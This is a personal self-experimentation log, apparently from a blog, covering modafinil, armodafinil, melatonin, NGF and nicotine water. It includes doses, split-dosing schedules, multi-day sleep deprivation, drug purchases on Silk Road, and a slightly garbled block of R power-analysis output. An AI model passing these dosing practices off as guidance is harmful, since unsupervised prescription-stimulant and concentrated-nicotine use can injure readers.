If I assume that the coefficient of +1.22 for as.logical(Magnesium.citrate)TRUE’s effect on MP in the previous analysis represents the true causal effect of 0.156g elemental magnesium without any overdose involved and that magnesium would have a linear increase (up until overdose), then one might argue that optimistically 0.078 would cause an increase of ~0.61. Or one could eyeball the graph and note that the LOESS lines look like at the magnesium peak improved by <+0.5 over the long-run baseline of ~3 Then one could do a power estimate with those 2 estimates.

# _d_:0.61 /sd(magnesium$MP, na.rm=TRUE)# [1] 0.83795623power.t.test(n =480, delta =0.83)#  Two-sample t test power calculation##            n = 480#        delta = 0.83#           sd = 1#    sig.level = 011.05#        power = 1power.t.test(delta =0.83, power =0.9)# Two-sample t test power calculation##          n = 31.4970227#      delta = 0.83#         sd = 1#  sig.level = 0.05#      power = 0.90.5 /sd(magnesium$MP, na.rm=TRUE)# [1] 0.686849369power.t.test(delta =0.68, power =0.8)# Two-sample t test power calculation##          n = 34.9352817power.t.test(delta =0.5, power =0.8)# Two-sample t test power calculation##          n = 63.7657637

Power considerations suggest I could probably terminate after 4 months

Data

  1. 29 August - 27 September 2014: 0

28 September - 2 November: 1 2. 3 November - 4 December: 0

5 December - 11 January 2015: 1 3. 12 January - 18 February: 0

19 February - 5 March: 1 (ended block early so I could have complete data for the LLLT experiment's analysis)
  1. 6 March - 4 April: 1

    5 April - 10 May: 0
  2. 11 May - 12 June: 0

    13 June - 15 July: 1
  3. 16 July - 6 September : 1

    Thought I was done with both blocks so I unblinded myself, only to discover I wasn’t. Oops.
  4. 7 September - 7 November: 1 (skipped over half a month due to long trip)

    8 November - 8 January 2016: 0
  5. 4 March - 28 April: 0

    29 April: - 25 May: 1
  6. 1 June - 28 June: 1

    29 June - 26 July: 0
  7. 27 July - 24 August: ?

    27? August: ?

Analysis

Conclusion

See Melatonin for information on effects & cost; I regularly use melatonin to sleep (more to induce sleep than prolong or deepen it), and investigating with my Zeo, it does seem to improve & shorten my sleep. Some research suggests that higher doses are not necessarily better and may be overkill, so each time I’ve run out, I’ve been steadily decreasing the dose from 3mg to 1.5mg to 1mg, without apparently compromising the usefulness.

See Modafinil for background on performance improvements and side-effects; the following sections are about my usage.

SpierX

Here are the notes I jotted down while trying out modafinil back in November 2009. I didn’t make any effort to write sensibly, so this makes my lucidity seem much worse than it actually was:

Thursday: 3g piracetam/4g choline bitartrate at 1; 1 200mg modafinil at 2:20; noticed a ‘leveling’ of fatigue by 3:30; dry eyes? no bad after taste or anything. a little light-headed by 4:30, but mentally clear and focused. wonder if light-headedness is due simply to missing lunch and not modafinil. 5:43: noticed my foot jiggling - doesn’t usually jiggle while in piracetam/choline. 7:30: starting feeling a bit jittery & manic - not much or to a problematic level but definitely noticeable; but then, that often happens when I miss lunch & dinner. 12:30: bedtime. Can’t sleep even with 3mg of melatonin! Subjectively, I toss & turn (in part thanks to my cat) until 4:30, when I really wake up. I hang around bed for another hour & then give up & get up. After a shower, I feel fairly normal, strangely, though not as good as if I had truly slept 8 hours. The lesson here is to pay attention to wikipedia when it says the half-life is 12-15 hours! About 6AM I take 200mg; all the way up to 2pm I feel increasingly less energetic and unfocused, though when I do apply myself I think as well as ever. Not fixed by food or tea or piracetam/choline. I want to be up until midnight, so I take half a pill of 100mg and chew it (since I’m not planning on staying up all night and I want it to work relatively soon). From 4-12PM, I notice that today as well my heart rate is elevated; I measure it a few times and it seems to average to ~70BPM, which is higher than normal, but not high enough to concern me. I stay up to midnight fine, take 3mg of melatonin at 12:30, and have no trouble sleeping; I think I fall asleep around 1. Alarm goes off at 6, I get up at 7:15 and take the other 100mg. Only 100mg/half-a-pill because I don’t want to leave the half laying around in the open, and I’m curious whether 100mg + ~5 hours of sleep will be enough after the last 2 days. Maybe next weekend I’ll just go without sleep entirely to see what my limits are.

In general, I feel a little bit less alert, but still close to normal. By 6PM, I have a mild headache, but I try out 30 rounds of gbrainy (haven’t played it in months) and am surprised to find that I reach an all-time high; no idea whether this is due to DNB or not, since Gbrainy is very heavily ‘crystallized’ (half the challenge disappears as you learn how the problems work), but it does indicate I’m not deluding myself about mental ability. (To give a figure: my last score well before I did any DNB was 64, and I was doing well that day; on modafinil, I had a 77.) I figure the headache might be food related, eat, and by 7:30 the headache is pretty much gone and I’m fine up to midnight.

I took 1.5mg of melatonin, and went to bed at ~1:30AM; I woke up around 6:30, took a modafinil pill/200mg, and felt pretty reasonable. By noon my mind started to feel a bit fuzzy, and lunch didn’t make much of it go away. I’ve been looking at studies, and users seem to degrade after 30 hours; I started on mid-Thursday, so call that 10 hours, then 24 (Friday), 24 (Saturday), and 14 (Sunday), totaling 72hrs with <20hrs sleep; this might be equivalent to 52hrs with no sleep, and Wikipedia writes:

One study of helicopter pilots suggested that 600 mg of modafinil given in three doses can be used to keep pilots alert and maintain their accuracy at pre-deprivation levels for 40 hours without sleep.[60] However, significant levels of nausea and vertigo were observed. Another study of fighter pilots showed that modafinil given in three divided 100 mg doses sustained the flight control accuracy of sleep-deprived F-117 pilots to within about 27% of baseline levels for 37 hours, without any considerable side effects.[61] In an 88-hour sleep loss study of simulated military grounds operations, 400 mg/day doses were mildly helpful at maintaining alertness and performance of subjects compared to placebo, but the researchers concluded that this dose was not high enough to compensate for most of the effects of complete sleep loss.

If I stop tonight and do nothing Monday (and I sleep the normal eight hours and do not pay any penalty), then that’ll be 4 out of 5 days on modafinil, each saving 3 or 4 hours. Each day took one pill which cost me $1.20, but each pill saved let’s call it 3.5 hours; if I value my time at minimum wage, or 7.25/hr (federal minimum wage), then that 3.5 hours is worth $25.37, which is much more than $1.20, ~21x more.

My mental performance continues as before; curiously, I get an even higher score on Gbrainy, despite being sure I was less sharp than yesterday. Either I’m wrong about that, or Gbrainy is even more trainable than I thought. I go to bed Sunday around 1AM, and get up around 8AM (so call it 6 or 7 hours).

Monday: It’s a long day ahead of me, so I take 200mg. Reasonable performance.

Tuesday: I went to bed at 1am, and first woke up at 6am, and I wrote down a dream; the lucid dreaming book I was reading advised that waking up in the morning and then going back for a short nap often causes lucid dreams, so I tried that - and wound up waking up at 10am with no dreams at all. Oops. I take a pill, but the whole day I don’t feel so hot, although my conversation and arguments seem as cogent as ever. I’m also having a terrible time focusing on any actual work. At 8 I take another; I’m behind on too many things, and it looks like I need an all-nighter to catch up. The dose is no good; at 11, I still feel like at 8, possibly worse, and I take another along with the choline+piracetam (which makes a total of 600mg for the day). Come 12:30, and I disconsolately note that I don’t seem any better, although I still seem to understand the IQ essays I am reading. I wonder if this is tolerance to modafinil, or perhaps sleep catching up to me? Possibly it’s just that I don’t remember what the quasi-light-headedness of modafinil felt like. I feel this sort of zombie-like state without change to 4am, so it must be doing something, when I give up and go to bed, getting up at 7:30 without too much trouble. Some N-backing at 9am gives me some low scores but also some pretty high scores (38/43/66/40/24/67/60/71/54 or ▂▂▆▂▁▆▅▇▄), which suggests I can perform normally if I concentrate. I take another pill and am fine the rest of the day, going to bed at 1am as usual.

Thursday: this is an important day where I really need to be awake. I’m up around 8, take a pill, and save one for later; I’ll take half a pill at noon and the other half at 2. This works very well, and I don’t feel tired well up to midnight, even though I spent an hour walking.

Friday: alarm clock woke me at 7:40, but I somehow managed to go back to sleep until 9:40. Perhaps sleep inertia is building up despite the modafinil. Another pill. I am in general noticing less effect, but I’ll not take any this weekend to see whether I have simply gotten used to it.

Sat/Sun: bed at 1/2AM, awake at 10/11 respectively. Generally unmotivated.

Mon: went to bed at 11:30 Sun, woke at 7:30 and dozed to 8. 200mg at 8:30. No particular effect. Past this, I stop keeping notes. The main thing I notice is that my throat seems to be a little rough and my voice hoarser than usual.

(On a side note, I think I understand now why modafinil doesn’t lead to a Beggars in Spain scenario; BiS includes massive IQ and motivation boosts as part of the Sleepless modification. Just adding 8 hours a day doesn’t do the world-changing trick, no more than some researchers living to 90 and others to 60 has lead to the former taking over. If everyone were suddenly granted the ability to never need sleep, many of them would have no idea what to do with the extra 8 or 9 hours and might well be destroyed by the gift; it takes a lot of motivation to make good use of the time, and if one cannot, then it is a curse akin to the stories of immortals who yearn for death - they yearn because life is not a blessing to them, though that is a fact more about them than life.)

Modalert

In 2011, as part of the Silk Road research, I ordered 10x100mg Modalert (5btc) from a seller. I also asked him about his sourcing, since if it was bad, it’d be valuable to me to know whether it was sourced from one of the vendors listed in my table. He replied, more or less, “I get them from a large Far Eastern pharmaceuticals wholesaler. I think they’re probably the supplier for a number of the online pharmacies.” 100mg seems likely to be too low, so I treated this shipment as 5 doses:

  1. I split the 2 pills into 4 doses for each hour from midnight to 4 AM. 3D driver issues in Debian unstable prevented me from using Brain Workshop, so I don’t have any DNB scores to compare with the armodafinil DNB scores. I had the subjective impression that I was worse off with the Modalert, although I still managed to get a fair bit done so the deficits couldn’t’ve been too bad. The apathy during the morning felt worse than armodafinil, but that could have been caused by or exacerbated by an unexpected and very stressful 2 hour drive through rush hour and multiple accidents; the quick hour-long nap at 10 AM was half-waking half-light-sleep according to the Zeo, but seemed to help a bit. As before, I began to feel better in the afternoon and by evening felt normal, doing my usual reading. That night, the Zeo recorded my sleep as lasting ~9:40, when it was usually more like 8:40-9:00 (although I am not sure that this was due to the modafinil inasmuch as once a week or so I tend to sleep in that long, as I did a few days later without any influence from the modafinil); assuming the worse, the nap and extra sleep cost me 2 hours for a net profit of ~7 hours. While it’s not clear how modafinil affects recovery sleep (see the footnote in the essay), it’s still interesting to ponder the benefits of merely being able to delay sleep.
  2. I tried taking whole pills at 1 and 3 AM. I felt kind of bushed at 9 AM after all the reading, and the 50 minute nap didn’t help much - I was sleep only around 10 minutes and spent most of it thinking or meditation. Just as well the 3D driver is still broken; I doubt the scores would be reasonable. Began to perk up again past 10 AM, then felt more bushed at 1 PM, and so on throughout the day; kind of gave up and began watching & finishing anime (Amagami and Voices of a Distant Star) for the rest of the day with occasional reading breaks (eg. to start James C. Scott‘s Seeing Like A State, which is as described so far). As expected from the low quality of the day, the recovery sleep was bigger than before: a full 10 hours rather than 9:40; the next day, I slept a normal 8:50, and the following day ~8:20 (woken up early); 10:20 (slept in); 8:44; 8:18 (▁▇▁▁). It will be interesting to see whether my excess sleep remains in the hour range for ’good’ modafinil nights and two hours for ‘bad’ modafinil nights.
  3. I decided to try out day-time usage on 2 consecutive days, taking the 100mg at noon or 1 PM. On both days, I thought I did feel more energetic but nothing extraordinary (maybe not even as strong as the nicotine), and I had trouble falling asleep on Halloween, thinking about the meta-ethics essay I had been writing diligently on both days. Not a good use compared to staying up a night.

Modalert blind day trial

Most people I talk to about modafinil seem to use it for daytime usage; for me that has not ever worked out well, but I had nothing in particular to show against it. So, as I was capping the last of my piracetam-caffeine mix and clearing off my desk, I put the 4 remaining Modalerts pills into capsules with the last of my creatine powder and then mixed them with 4 of the theanine-creatine pills. Like the previous Adderall trial, I will pick one pill blindly each day and guess at the end which it was. If it was active (modafinil-creatine), take a break the next day; if placebo (theanine-creatine), replace the placebo and try again the next day. We’ll see if I notice anything on DNB or possibly gwern.net edits.

  1. Take at 10 AM; seem a bit more active but that could just be the pressure of the holiday season combined with my nice clean desk. I do the chores without too much issue and make progress on other things, but nothing major; I survive going to The Sitter without too much tiredness, so ultimately I decide to give the palm to it being active, but only with 60% confidence. I check the next day, and it was placebo. Oops.
  2. Take at 11 AM; distractions ensue and the Christmas tree-cutting also takes up much of the day. By 7 PM, I am exhausted and in a bad mood. While I don’t expect day-time modafinil to buoy me up, I do expect it to at least buffer me against being tired, and so I conclude placebo this time, and with more confidence than yesterday (65%). I check before bed, and it was placebo.
  3. 10:30 AM; no major effect that I notice throughout the day - it’s neither good nor bad. This smells like placebo (and part of my mind is going ‘how unlikely is it to get placebo 3 times in a row!’, which is just the Gambler’s fallacy talking inasmuch as this is sampling with replacement). I give it 60% placebo; I check the next day right before taking, and it is. Man!
  4. 1 PM; overall this was a pretty productive day, but I can’t say it was very productive. I would almost say even odds, but for some reason I feel a little more inclined towards modafinil. Say 55%. That night’s sleep was vile: the Zeo says it took me 40 minutes to fall asleep, I only slept 7:37 total, and I woke up 7 times. I’m comfortable taking this as evidence of modafinil (half-life 10 hours, 1 PM to midnight is only 1 full halving), bumping my prediction to 75%. I check, and sure enough - modafinil.
  5. 10:40 AM; again no major effects, although I got two jQuery extensions working and some additional writing so one could argue the day went well. I don’t know; 50%. Placebo.
  6. 11 AM; a rather productive day. I give it 65%. To my surprise, it was placebo.
  7. 10 AM; this was an especially productive day, but this was also the day my nicotine gum finally arrived and I just had to try it (I had been waiting so long); it’s definitely a stimulant, alright. But this trashes my own subjective estimates; I hoped it was just placebo, but no, it was modafinil.
  8. 9:50 AM; nothing noticed by noon. Managed to finish “Reasons of State: Why Didn’t Denmark Sell Greenland?” which was a surprising amount of work, especially after I managed to delete a third of the first draft - but nothing I would chalk up to modafinil. I decide to give it 60% placebo, and I turn out to be wrong: it was my last modafinil.

So with these 8 results in hand, what do I think? Roughly, I was right 5 of the days and wrong 3 of them. If not for the sleep effect on #4, which is - in a way - cheating (one hopes to detect modafinil due to good effects), the ratio would be 5:4 which is awfully close to a coin-flip. Indeed, a scoring rule ranks my performance at almost identical to a coin flip: -5.49 vs -5.54. (The bright side is that I didn’t do worse than a coin flip: I was at least calibrated.)

I can’t call this much of a success; there may be an effect on my productivity but it’s certainly not very clear subjectively. I’ll chalk this up as a failure for modafinil and evidence for what I believed - day-time modafinil use does not work for me (even if it works for others).

VoI

For background on “value of information” calculations, see the Adderall calculation.

I had tried 8 randomized days like the Adderall experiment to see whether I was one of the people whom modafinil energizes during the day. (The other way to use it is to skip sleep, which is my preferred use.) I rarely use it during the day since my initial uses did not impress me subjectively. The experiment was not my best - while it was double-blind randomized, the measurements were subjective, and not a good measure of mental functioning like dual n-back (DNB) scores which I could statistically compare from day to day or against my many previous days of dual n-back scores. Between my high expectation of finding the null result, the poor experiment quality, and the minimal effect it had (eliminating an already rare use), the value of this information was very small.

I mostly did it so I could tell people that “no, day usage isn’t particularly great for me; why don’t you run an experiment on yourself and see whether it was just a placebo effect (or whether you genuinely are sleep-deprived and it is indeed compensating)?”

Armodafinil

Armodafinil is sort of a purified modafinil which Cephalon sells under the brand-name ‘Nuvigil’ (and Sun under ‘Waklert’). Armodafinil acts much the same way (see the ADS Drug Profile) but the modafinil variant filtered out are the faster-actingmolecules. Hence, it is supposed to last longer. as studies like “Pharmacodynamic effects on alertness of single doses of armodafinil in healthy subjects during a nocturnal period of acute sleep loss” seem to bear out; anecdotally, it’s also more powerful, with Cephalon offering pills with doses as low as 50mg. (To be technical, modafinil is racemic: it comes in two forms which are rotations, mirror-images of each other. The rotation usually doesn’t matter, but sometimes it matters tremendously - for example, one form of thalidomide stops morning sickness, and the other rotation causes hideous birth defects.)

Besides Adderall, I also purchased on Silk Road 5x250mg pills of armodafinil. The price was extremely reasonable, 1.5btc or roughly $23 at that day’s exchange rate; I attribute the low price to the seller being new and needing feedback, and offering a discount to induce buyers to take a risk on him. (Buyers bear a large risk on Silk Road since sellers can easily physically anonymize themselves from their shipment, but a buyer can be found just by following the package.) Because of the longer active-time, I resolved to test the armodafinil not during the day, but with an all-nighter.

Nuvigil

  1. First use

    Took full pill at 10:21 PM when I started feeling a bit tired. Around 11:30, I noticed my head feeling fuzzy but my reading seemed to still be up to snuff. I would eventually finish the science book around 9 AM the next day, taking some very long breaks to walk the dog, write some poems, write a program, do Mnemosyne review (memory performance: subjectively below average, but not as bad as I would have expected from staying up all night), and some other things. Around 4 AM, I reflected that I felt much as I had during my nightwatch job at the same hour of the day - except I had switched sleep schedules for the job. The tiredness continued to build and my willpower weakened so the morning wasn’t as productive as it could have been - but my actual performance when I could be bothered was still pretty normal. That struck me as kind of interesting that I can feel very tired and not act tired, in line with the anecdotes.

    Past noon, I began to feel better, but since I would be driving to errands around 4 PM, I decided to not risk it and take an hour-long nap, which went well, as did the driving. The evening was normal enough that I forgot I had stayed up the previous night, and indeed, I didn’t much feel like going to bed until past midnight. I then slept well, the Zeo giving me a 108 ZQ (not an all-time record, but still unusual).
  2. I had intended to run another Adderall trial this day but then I learned we would be going to the midnight showing of the last Harry Potter movie. A perfect opportunity: going to bed at 3 AM after a stimulating battle movie would mean crappy sleep, so why not just do another armodafinil trial and kill 2 birds with one stone?

    I took the pill at 11 PM the evening of (technically, the day before); that day was a little low on sleep than usual, since I had woken up an hour or half-hour early. I didn’t yawn at all during the movie (merely mediocre to my eyes with some questionable parts). It worked much the same as it did the previous time - as I walked around at 5 AM or so, I felt perfectly alert. I made good use of the hours and wrote up my memories of ICON 2011.

    (As I was doing this, I reflected how modafinil is such a pure example of the money-time tradeoff. It’s not that you pay someone else to do something for you, which necessarily they will do in a way different from you; nor is it that you have exchanged money to free yourself of a burden of some future time-investment; nor have you paid money for a speculative return of time later in life like with many medical expenses or supplements. Rather, you have paid for 8 hours today of your own time.)

    And as before, around 9 AM I began to feel the peculiar feeling that I was mentally able and apathetic (in a sort of aboulia way); so I decided to try what helped last time, a short nap. But this time, though I took a full hour, I slept not a wink and my Zeo recorded only 2 transient episodes of light sleep! A back-handed sort of proof of alertness, I suppose. I didn’t bother trying again. The rest of the day was mediocre, and I wound up spending much of it on chores and whatnot out of my control. Mentally, I felt better past 3 PM.

    This continued up to 1 AM, at which point I decided not to take a second armodafinil (why spend a second pill to gain what would likely be an unproductive set of 8 hours?) and finish up the experiment with some n-backing. My 5 rounds: 60/38/62/44/50. This was surprising. Compare those scores with scores from several previous days: 39/42/44/40/20/28/36. I had estimated before the n-backing that my scores would be in the low-end of my usual performance (20-30%) since I had not slept for the past 41 hours, and instead, the lowest score was 38%. If one did not know the context, one might think I had discovered a good nootropic! Interesting evidence that armodafinil preserves at least one kind of mental performance.
  3. I stayed up late writing some poems and about how [email protected] kills, and decided to make a night of it. I took the armodafinil at 1 AM; the interesting bit is that this was the morning/evening after what turned out to be an Adderall (as opposed to placebo) trial, so perhaps I will see how well or ill they go together. A set of normal scores from a previous day was 32%/43%/51%/48%. At 11 PM, I scored 39% on DNB; at 1 AM, I scored 50%/43%; 5:15 AM, 39%/37%; 4:10 PM, 42%/40%; 11 PM, 55%/21%/38%. (▂▄▆▅ vs ▃▅▄▃▃▄▃▇▁▃)

    The peculiar tired-sharp feeling was there as usual, and the DNB scores continue to suggest this is not an illusion, as they remain in the same 30-50% band as my normal performance. I did not notice the previous ‘aboulia’ feeling; instead, around noon, I was filled with a nervous energy and a disturbingly rapid pulse which meditation & deep breathing did little to help with, and which didn’t go away for an hour or so. Fortunately, this was primarily at church, so while I felt irritable, I didn’t actually interact with anyone or snap at them, and was able to keep a lid on it. I have no idea what that was about. I wondered if it might’ve been a serotonin storm since amphetamines are some of the drugs that can trigger storms but the Adderall had been at 10:50 AM the previous day, or >25 hours (the half-lives of the ingredients being around 13 hours). An hour or two previously I had taken my usual caffeine-piracetam pill with my morning tea - could that have interacted with the armodafinil and the residual Adderall? Or was it caffeine+modafinil? Speculation, perhaps. A house-mate was ill for a few hours the previous day, so maybe the truth is as prosaic as me catching whatever he had.
  4. Stayed up with the purpose of finishing my work for a contest. This time, instead of taking the pill as a single large dose (I feel that after 3 times, I understand what it’s like), I will take 4 doses over the new day. I took the first quarter at 1 AM, when I was starting to feel a little foggy but not majorly impaired. Second dose, 5:30 AM; feeling a little impaired. 8:20 AM, third dose; as usual, I feel physically a bit off and mentally tired - but still mentally sharp when I actually do something. Early on, my heart rate seemed a bit high and my limbs trembling, but it’s pretty clear now that that was the caffeine or piracetam. It may be that the other day, it was the caffeine’s fault as I suspected. The final dose was around noon. The afternoon ‘crash’ wasn’t so pronounced this time, although motivation remains a problem. I put everything into finishing up the spaced repetition literature review, and didn’t do any n-backing until 11:30 PM: 32/34/31/54/40%.
  5. With the last pill, I wound up trying split-doses on non-full nights; that is, if one full pill keeps me awake one full night, what does 1/4th the pill do?

    1. Between midnight and 1:36 AM, I do four rounds of n-back: 50/39/30/55%. I then take 1/4th of the pill and have some tea. At roughly 1:30 AM, AngryParsley linked a SF anthology/novel, Fine Structure, which sucked me in for the next 3-4 hours until I finally finished the whole thing. At 5:20 AM, circumstances forced me to go to bed, still having only taken 1/4th of the pill and that determines this particular experiment of sleep; I quickly do some n-back: 29/20/20/54/42. I fall asleep in 13 minutes and sleep for 2:48, for a ZQ of 28 (a full night being ~100). I did not notice anything from that possible modafinil+caffeine interaction. Subjectively upon awakening: I don’t feel great, but I don’t feel like 2-3 hours of sleep either. N-back at 10 AM after breakfast: 25/54/44/38/33. These are not very impressive, but seem normal despite taking the last armodafinil ~9 hours ago; perhaps the 3 hours were enough. Later that day, at 11:30 PM (just before bed): 26/56/47.
    2. 2 break days later, I took the quarter-pill at 11:22 PM. I had discovered I had for years physically possessed a very long interview not available online, and transcribing that seemed like a good way to use up a few hours. I did some reading, some Mnemosyne, and started it around midnight, finishing around 2:30 AM. There seemed a mental dip around 30 minutes after the armodafinil, but then things really picked up and I made very good progress transcribing the final draft of 9000 words in that period. (In comparison, “The Conscience of the Otaking” parts 2 & 4 were much easier to read than the tiny font of the RahXephon booklet, took perhaps 3 hours, and totaled only 6500 words. The nicotine is probably also to thank.) By 3:40 AM, my writing seems to be clumsier and my mind fogged. Began DNB at 3:50: 61/53/44. Went to bed at 4:05, fell asleep in 16 minutes, slept for 3:56. Waking up was easier and I felt better, so the extra hour seemed to help.
    3. With this experiment, I broke from the previous methodology, taking the remaining and final half Nuvigil at midnight. I am behind on work and could use a full night to catch up. By 8 AM, I am as usual impressed by the Nuvigil - with Modalert or something, I generally start to feel down by mid-morning, but with Nuvigil, I feel pretty much as I did at 1 AM. Sleep: 9:51/9:15/8:27

Waklert

I noticed on SR something I had never seen before, an offer for 150mgx10 of “Waklert” for ฿13.47 (then, ฿1 = $3.14). I searched and it seemed Sun was somehow manufacturing armodafinil! Interesting. Maybe not cost-effective, but I tried out of curiosity. They look and are packaged the same as the Modalert, but at a higher price-point: 150 rather than 81 rupees. Not entirely sure how to use them: assuming quality is the same, 150mg Waklert is still 100mg less armodafinil than the 250mg Nuvigil pills.

  1. Take quarter at midnight, another quarter at 2 AM. Night runs reasonably well once I remember to eat a lot of food (I finish a big editing task I had put off for weeks), but the apathy kicks in early around 4 AM so I gave up and watched Scott Pilgrim vs. the World, finishing around 6 AM. I then read until it’s time to go to a big shotgun club function, which occupies the rest of the morning and afternoon; I had nothing to do much of the time and napped very poorly on occasion. By the time we got back at 4 PM, the apathy was completely gone and I started some modafinil research with gusto (interrupted by going to see Puss in Boots). That night: Zeo recorded 8:30 of sleep, gap of about 1:50 in the recording, figure 10:10 total sleep; following night, 8:33; third night, 8:47; fourth, 8:20 (▇▁▁▁).
  2. First quarter at 1:20 AM. Second quarter at 4 AM. 20 minute nap at 7:30 AM; took show and last 2 doses at 11 AM. (If I feel bad past 3 PM, I’ll try one of the Modalerts or maybe another quarter of a Waklert - 150mg may just be too little.) Overall, pretty good day. Nights: 9:43; 9:51; 7:57; 8:25; 8:08; 9:02; 8:07 (▇█▁▂▁▄▁).
  3. First half at 6 AM; second half at noon. Wrote a short essay I’d been putting off and napped for 1:40 from 9 AM to 10:40. This approach seems to work a little better as far as the aboulia goes. (I also bother to smell my urine this time around - there’s a definite off smell to it.) Nights: 10:02; 8:50; 10:40; 7:38 (2 bad nights of nasal infections); 8:28; 8:20; 8:43 (▆▃█▁▂▂▃).
  4. Whole pill at 5:42 AM. (Somewhat productive night/morning beforehand.) DNB at 2 PM: 52/36/54 (▇▁█); slept for 49 minutes; DNB at 8 PM: 50/44/38/40 (▆▄▁▂). Nights: 10:02; 8:02; no data; 9:21; 8:20 (█▁ ▅▂).
  5. Whole pill at 3 AM. I spend the entire morning and afternoon typing up a transcript of “Earth in My Window”. I tried taking a nap around 10 AM, but during the hour I was down, I had <5m of light sleep, the Zeo said. After I finished the transcript (~16,600 words with formatting), I was completely pooped and watched a bunch of Mobile Suit Gundam episodes, then I did Mnemosyne. The rest of the night was nothing to write home about either - some reading, movie watching, etc. Next time I will go back to split-doses and avoid typing up 110kB of text. On the positive side, this is the first trial I had available the ‘average daily grade’ Mnemosyne 2.0 plugin. The daily averages all are 3-point-something (peaking at 3.89 and flooring at 3.59), so just graphing the past 2 weeks, the modafinil day, and recovery days: ▅█▅▆▄▆▄▃▅▄▁▄▄ ▁ ▂▄▄█. Not an impressive performance but there was a previous non-modafinil day just as bad, and I’m not too sure how important a metric this is; I must see whether future trials show similar underperformance. Nights: 11:29; 9:22; 8:25; 8:41.
  6. Spaced repetition at midnight: 3.68. (Graphing preceding and following days: ▅▄▆▆▁▅▆▃▆▄█ ▄ ▂▄▄▅) DNB starting 12:55 AM: 30/34/41. Transcribed Sawaragi 2005, then took a walk. DNB starting 6:45 AM: 45/44/33. Decided to take a nap and then take half the armodafinil on awakening, before breakfast. I wound up oversleeping until noon (4:28); since it was so late, I took only half the armodafinil sublingually. I spent the afternoon learning how to do “value of information” calculations, and then carefully working through 8 or 9 examples for my various pages, which I published on Lesswrong. That was a useful little project. DNB starting 12:09 AM: 30/38/48. (To graph the preceding day and this night: ▇▂█▆▅▃▃▇▇▇▁▂▄ ▅▅▁▁▃▆) Nights: 9:13; 7:24; 9:13; 8:20; 8:31.
  7. Feeling behind, I resolved to take some armodafinil the next morning, which I did - but in my hurry I failed to recall that 200mg armodafinil was probably too much to take during the day, with its long half life. As a result, I felt irritated and not that great during the day (possibly aggravated by some caffeine - I wish some studies would be done on the possible interaction of modafinil and caffeine so I knew if I was imagining it or not). Certainly not what I had been hoping for. I went to bed after midnight (half an hour later than usual), and suffered severe insomnia. The time wasn’t entirely wasted as I wrote a short story and figured out how to make nicotine gum placebos during the hours in the dark, but I could have done without the experience. All metrics omitted because it was a day usage.

Nerve growth factor is a protein involved in exactly what its name suggests. Administration may have effects on neurodegeneration, plasticity, and learning. Its co-discoverer, Nobelist Rita Levi-Montalcini, reportedly took NGF eyedrops daily.

NGF may sound intriguing, but the price is a dealbreaker: at suggested doses of 1-100μg (NGF dosing in humans for benefits is, shall we say, not an exact science), and a cost from sketchy suppliers of $1210/100μg/$470/500μg/$750/1000μg/$1000/1000μg/$1030/1000μg/$235/20μg. (Levi-Montalcini was presumably able to divert some of her lab’s production.) A year’s supply then would be comically expensive: at the lowest doses of 1-10μg using the cheapest sellers (for something one is dumping into one’s eyes?), it could cost anywhere up to $10,000.

As well, the possible effects seem like they would be long-term and difficult to measure or experiment on; so if one could somehow afford NGF eyedrops, one wouldn’t be able to know they were working.

So unless the price of NGF comes down by at least two orders of magnitude, it’s not a viable nootropic.

One of the most popular legal stimulants in the world, nicotine is often conflated with the harmful effects of tobacco; considered on its own, it has performance & possibly health benefits. Nicotine is widely available at moderate prices as long-acting nicotine patches, gums, lozenges, and suspended in water for vaping. While intended for smoking cessation, there is no reason one cannot use a nicotine patch or nicotine gum for its stimulant effects.

Nicotine’s stimulant effects are general and do not come with the same tweakiness and aggression associated with the amphetamines, and subjectively are much ‘cleaner’ with less of a crash. I would say that its stimulant effects are fairly strong, around that of modafinil. Another advantage is that nicotine operates through nicotinic receptors and so doesn’t cross-tolerate with dopaminergic stimulants (hence one could hypothetically cycle through nicotine, modafinil, amphetamines, and caffeine, hitting different receptors each time).

Like caffeine, nicotine tolerates rapidly and addiction can develop, after which the apparent performance boosts may only represent a return to baseline after withdrawal; so nicotine as a stimulant should be used judiciously, perhaps roughly as frequent as modafinil. Another problem is that nicotine has a half-life of merely 1-2 hours, making regular dosing a requirement. There is also some elevated heart-rate/blood-pressure often associated with nicotine, which may be a concern. (Possible alternatives to nicotine include cytisine, 2’-methylnicotine, GTS-21, galantamine, Varenicline, WAY-317,538, EVP-6124, and Wellbutrin, but none have emerged as clearly superior.)

I decided to try it out myself since it would be both boring and hypocritical not to. The stimulant properties are well-established, and after reading up, I didn’t think there was a >3% chance it might lead me to any short or long-term future cigarette use.

So I ordered the most cost-effective batch of chewing gum I could find on Amazon (100 Nicorette 4mg) - and the seller canceled on me! Poor show, “Direct Super center”, very poor show.

In August 2011, after winning the spaced repetition contest and finishing up the Adderall double-blind testing, I decided the time was right to try nicotine again. I had since learned that e-cigarettes use nicotine dissolved in water, and that nicotine-water was a vastly cheaper source of nicotine than either gum or patches. So I ordered 250ml of water at 12mg/ml (total cost: $18.20). A cigarette apparently delivers around 1mg of nicotine, so half a ml would be a solid dose of nicotine, making that ~500 doses. Plenty to experiment with. The question is, besides the stimulant effect, nicotine also causes ‘habit formation’; what habits should I reinforce with nicotine? Exercise, and spaced repetition seem like 2 good targets.

Nicotine water

It arrived as described, a little bottle around the volume of a soda can. I had handy a plastic syringe with milliliter units which I used to measure out the nicotine-water into my tea. I began with half a ml the first day, 1ml the second day, and 2ml the third day. (My Zeo sleep scores were 85/103/86 (▁▇▁), and the latter had a feline explanation; these values are within normal variation for me, so if nicotine affects my sleep, it does so to a lesser extent than Adderall.) Subjectively, it’s hard to describe. At half a ml, I didn’t really notice anything; at 1 and 2ml, I thought I began to notice it - sort of a cleaner caffeine. It’s nice so far. It’s not as strong as I expected. I looked into whether the boiling water might be breaking it down, but the answer seems to be no - boiling tobacco is a standard way to extract nicotine, actually, and nicotine’s own boiling point is much higher than water; nor do I notice a drastic difference when I take it in ordinary water. And according to various e-cigarette sources, the liquid should be good for at least a year.

